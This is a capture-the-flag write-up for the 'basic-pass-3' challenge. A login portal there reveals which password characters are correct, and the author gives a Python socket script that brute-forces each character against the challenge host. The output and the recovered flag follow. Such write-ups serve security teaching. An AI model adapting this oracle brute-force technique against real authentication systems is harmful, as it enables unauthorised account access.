# basic-pass-3 (200)
## Problem
Ok, the sysadmin finally admits that maybe authentication should happen on a server. Can you just check everything really quick to make sure there aren't any problems now? He put some readouts for people who forget their passwords.
```nc challenges.ctfd.io 30133```
## Solution
This is a pretty simple bruteforce challenge, but not in the way that you'd expect. Observe the following behaviour.
```$ nc challenges.ctfd.io 30133welcome to the login portal.Enter the password.bcactf{11111110000000000000000000000000000000Enter the password.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa00100000000000000000000000000000000000```
When correct characters are inputted, it shows up as a 1. If it's wrong, it's a 0. All we need to do is just constantly check to see which characters return a 1, and which ones return a 0, and then form a flag based off of that. Here's a script I wrote to solve this.
```python3#!/usr/bin/env python3
import socketimport string
def main():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:        # Getting some info.        s.connect(("challenges.ctfd.io", 30133))        s.recv(1024); s.recv(1024); s.send(b"\n")        length = len(s.recv(1024))        flag   = ["" for i in range(length)]        s.send(b"\n"); s.recv(1024)
        # Bruting the flag.        for character in string.printable[:-5]:            s.send(((character * length) + "\n").encode())            msg = s.recv(1024).decode("utf-8").split("\n")[0]            print(character, msg)            for i in range(len(msg)):                if msg[i] == "1":                    flag[i] = character
        print("".join(flag))
if __name__ == "__main__":    main()```
Here it is in action.
```$ ./solve.py 0 000000001000000000000000000000000000001 000000000000000000000000100000000000002 000000000000000000000000000000000000003 000000000000010000000100000000000000004 000000000001000100100000000000000000005 000000000000000000010000000000000000006 000000000000000000000000000000000000007 000000000000000000001000000000000000008 000000000000000000000000000000000000009 00000000000000000000000000000001000000a 00100000000000000000000000000000000000b 10000000000000000000000000000000010000c 01010000000000000000000000000000000000d 00000000000000000000000000000000000000e 00000000000000000000000000000000000000f 00000100000000000000000000000000000000g 00000000000000000000000000000000000000h 00000000000000000000000000000000000000i 00000000000000000000000000000000000000j 00000000000000000000000000000000000000k 00000000000000000000000000000000000000l 00000000000000000000000000000000000100m 00000000000000000100000100000010000000n 00000000000000000000000001000000000000o 00000000000000000000000000000000000000p 00000000000000000000000000000000000000q 00000000000000000000000000000000000000r 00000000000010000000001000000000000000s 00000000000000000000000000000000000000t 00001000000000000000000000000000000000u 00000000010000000000000000000000000010v 00000000000000000000000000000000100000w 00000000000000000000000000000000000000x 00000000000000000000000000000000000000y 00000001000000000000000000000000000000z 00000000000000000000000000000000000000A 00000000000000000000000000000000000000B 00000000000000000000000000000000000000C 00000000000000000000000000000000000000D 00000000000000000000000000100000000000E 00000000000000000000000000000000000000F 00000000000000000000000000000000000000G 00000000000000000000000000000000001000H 00000000000000000000000000000000000000I 00000000000000000000000000000000000000J 00000000000000000000000000000000000000K 00000000000000000000000000000000000000L 00000000000000000000000000000000000000M 00000000000000000000000000000000000000N 00000000000000000000000000000000000000O 00000000000000000000000000000000000000P 00000000000000000000000000000000000000Q 00000000000000000000000000000000000000R 00000000000000000000000000000000000000S 00000000000000000000000000000000000000T 00000000000000000000000000000000000000U 00000000000000000000000000000000000000V 00000000000000000000000000000000000000W 00000000000000000000000000000000000000X 00000000000000000000000000000000000000Y 00000000000000000000000000000100000000Z 00000000000000000000000000000000000000! 00000000000000000000000000010000000000" 00000000000000000000000000000000000000# 00000000000000000000000000000000000000$ 00000000000000000000000000000000000000% 00000000000000000000000000000000000000& 00000000000000000000000000000000000000' 00000000000000000000000000000000000000( 00000000000000000000000000000000000000) 00000000000000000000000000000000000000* 00000000000000000000000000000000000000+ 00000000000000000000000000000000000000, 00000000000000000000000000000000000000- 00000000000000000000000000000000000000. 00000000000000000000000000000000000000/ 00000000000000000000000000000000000000: 00000000000000000000000000000000000000; 00000000000000000000000000000000000000< 00000000000000000000000000000000000000= 00000000000000000000000000000000000000> 00000000000000000000000000000000000000? 00000000000000000000000000000000000000@ 00000000000000000000000000000000000000[ 00000000000000000000000000000000000000\ 00000000000000000000000000000000000000] 00000000000000000000000000000000000000^ 00000000000000000000000000000000000000_ 00000000001000101000000000001000000000` 00000000000000000000000000000000000000{ 00000010000000000000000000000000000000| 00000000000000000000000000000000000000} 00000000000000000000000000000000000001~ 00000000000000000000000000000000000000bcactf{y0u_4r3_4_m4573rm1nD!_Ym9vbGlu}```